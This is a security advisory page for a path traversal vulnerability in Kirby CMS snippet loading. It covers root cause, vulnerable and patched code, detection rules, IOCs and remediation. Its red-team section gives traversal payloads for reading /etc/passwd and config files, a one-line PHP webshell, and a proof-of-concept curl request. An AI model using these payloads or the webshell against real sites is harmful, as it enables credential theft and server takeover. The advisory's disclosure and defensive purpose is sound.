CVE-2025-30159
Executive Summary
CVE-2025-30159 is a critical path traversal vulnerability in the Kirby CMS, affecting all versions prior to 3.9.8.3, 3.10.1.2, and 4.7.1. The flaw resides in the snippet() helper and $kirby->snippet() method when used with dynamic snippet names derived from user input (e.g., snippet('tags-' . get('tags'))). An attacker can exploit this by crafting a snippet name containing path traversal sequences (e.g., ../../etc/passwd), allowing them to read arbitrary files on the server and, critically, execute PHP code if the traversed file contains PHP. This can lead to full server compromise, data exfiltration, and lateral movement within the network. The vulnerability has been patched by adding a path containment check that rejects any snippet path pointing outside the configured snippets root directory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Kirby is a PHP-based CMS distributed via Composer and as a standalone package. The vulnerability is not in a dependency but in the core snippet loading logic. However, the risk is amplified in supply chain scenarios where developers unknowingly use dynamic snippet names in templates or plugins. Attackers can exploit this to inject malicious PHP code into the server, potentially compromising the entire application stack. Organizations using Kirby should immediately audit their codebase for dynamic snippet calls and apply the patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a crafted request.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerable code path.
- User Interaction (UI): None (N) – The attack does not require any user action.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
- Integrity (I): High (H) – PHP code execution allows modification of server files.
- Availability (A): High (H) – An attacker could delete or corrupt files, causing denial of service.
CVSS Score: 9.8 (Critical)
Threat Level: Critical. The combination of remote exploitation, no authentication, and the ability to execute arbitrary PHP code makes this a severe threat. The EPSS score of 0.0% suggests low exploitation activity currently, but this is likely due to the recent disclosure.
Deep Dive & Mechanics
The vulnerability is a classic path traversal (directory traversal) flaw in the snippet loading mechanism of Kirby CMS. The snippet() helper and $kirby->snippet() method are used to include reusable template fragments. When the snippet name is constructed dynamically from user input (e.g., from GET/POST parameters, cookies, or URL segments), an attacker can inject path traversal sequences like ../ to escape the intended snippets directory.
Root Cause: The missing validation of the resolved snippet path against the configured snippets root directory. The code simply concatenates the snippet name with the snippets root path and includes the resulting file without checking if it stays within the allowed directory.
Attack Flow:
- The attacker identifies a Kirby site that uses a dynamic snippet call, e.g.,
snippet('tags-' . get('tags')). - The attacker sends a request with a crafted
tagsparameter:../../etc/passwd. - The snippet loader resolves the path to
/var/www/kirby/snippets/../../etc/passwd, which normalizes to/etc/passwd. - The file is read and its contents are included in the response. If the file contains PHP code (e.g.,
/etc/passwddoes not, but an attacker could target a PHP file like../../uploads/shell.php), the code is executed.
Impact: Full server compromise. An attacker can read any file (e.g., database credentials, configuration files) and execute arbitrary PHP code by including a malicious file they have uploaded (e.g., via a file upload feature) or by leveraging existing PHP files on the system.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-Patch):
// In Kirby's snippet loader (simplified)
function snippet($name, $data = [], $slots = []) {
$file = $this->snippetsRoot() . '/' . $name . '.php';
if (file_exists($file)) {
include $file;
}
}
The $name is used directly without sanitization, allowing path traversal.
Patched Code (Post-Patch):
// In Kirby's snippet loader (simplified)
function snippet($name, $data = [], $slots = []) {
$file = realpath($this->snippetsRoot() . '/' . $name . '.php');
$root = realpath($this->snippetsRoot());
if (strpos($file, $root) === 0 && file_exists($file)) {
include $file;
}
}
The patch uses realpath() to resolve the final path and then checks that it starts with the snippets root directory. This prevents any path traversal outside the allowed directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Kirby site with a dynamic snippet call (e.g.,
snippet('tags-' . get('tags'))). - Knowledge of the server's file system (or use fuzzing to discover paths).
Exploitation Steps:
- Identify the vulnerable endpoint: Look for URL parameters or form fields that are passed to
snippet(). - Craft a payload: Use path traversal sequences to read sensitive files.
- Example:
../../../../etc/passwd - Example:
../../../../var/www/html/config.php(to read database credentials)
- Example:
- Execute PHP code: If you can upload a PHP file (e.g., via a file upload feature), include it to execute arbitrary commands.
- Upload a file named
shell.phpcontaining<?php system($_GET['cmd']); ?>. - Trigger the snippet:
snippet('../../uploads/shell')and then access?cmd=id.
- Upload a file named
Proof-of-Concept (PoC) Request:
GET /?tags=../../../../etc/passwd HTTP/1.1
Host: vulnerable-kirby-site.com
Automated Exploitation (using curl):
curl "http://vulnerable-kirby-site.com/?tags=../../../../etc/passwd"
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for path traversal patterns in request parameters (e.g.,
../,..\\,%2e%2e%2f). - Look for requests to snippet endpoints with unusual parameters.
- Use the detection rules provided in the Detection Engineering section.
Defense:
- Immediate: Apply the patch by updating Kirby to version 3.9.8.3, 3.10.1.2, or 4.7.1.
- Mitigation (if patching is delayed):
- Disable dynamic snippet calls in your templates.
- Implement input validation to reject any snippet name containing
../or..\\. - Use a Web Application Firewall (WAF) to block path traversal attempts.
- Restrict file permissions so the web server cannot read sensitive files outside the web root.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../or..\\in parameters passed to snippet endpoints. - Requests with multiple
../sequences (e.g.,../../../../etc/passwd). - Unusual file paths in HTTP responses (e.g., contents of
/etc/passwd).
- HTTP requests containing
File System IOCs:
- Unexpected files in the snippets directory (e.g., symbolic links to sensitive files).
- Modified or new PHP files in the web root (e.g., webshells).
Log IOCs:
- Web server access logs showing requests with path traversal patterns.
- Error logs indicating failed attempts to include files outside the snippets root (post-patch).
Detection Engineering
YARA Rule
rule CVE_2025_30159_Kirby_Snippet_Path_Traversal {
meta:
description = "Detects path traversal attempts in Kirby snippet calls"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-30159"
strings:
$snippet_call = /snippet\(.*['\"].*\.\.\/.*['\"]/ nocase
$path_traversal = /\.\.\// nocase
condition:
$snippet_call or $path_traversal
}
Sigma Rule
title: Kirby CMS Snippet Path Traversal Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-30159 via path traversal in snippet parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '..%2f'
- '%2e%2e%2f'
- '../'
condition: selection
falsepositives:
- Legitimate use of relative paths in some applications (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30159 Kirby CMS Snippet Path Traversal"; flow:to_server,established; content:"../"; http_uri; nocase; pcre:"/\.\.\//i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Kirby: Upgrade to version 3.9.8.3, 3.10.1.2, or 4.7.1 immediately.
- Audit Codebase: Search for all uses of
snippet()and$kirby->snippet()in your templates and plugins. Ensure no dynamic snippet names are used. - Review Server Logs: Check for any signs of exploitation (see IOCs).
Long-Term Mitigations:
- Input Validation: Implement strict validation for any user input used in file operations.
- Least Privilege: Run the web server with minimal file system permissions.
- WAF Deployment: Use a Web Application Firewall to block path traversal patterns.
- Regular Updates: Keep Kirby and all dependencies up to date.
Workaround (if patching is not possible):
- Override the
snippet()function in your site'sconfig.phpto add path validation:
// In site/config.php
kirby()->set('snippet', function($name, $data = [], $slots = []) {
$file = realpath(kirby()->roots()->snippets() . '/' . $name . '.php');
$root = realpath(kirby()->roots()->snippets());
if (strpos($file, $root) === 0 && file_exists($file)) {
include $file;
}
});
Valters IT
Securing Digital Frontiers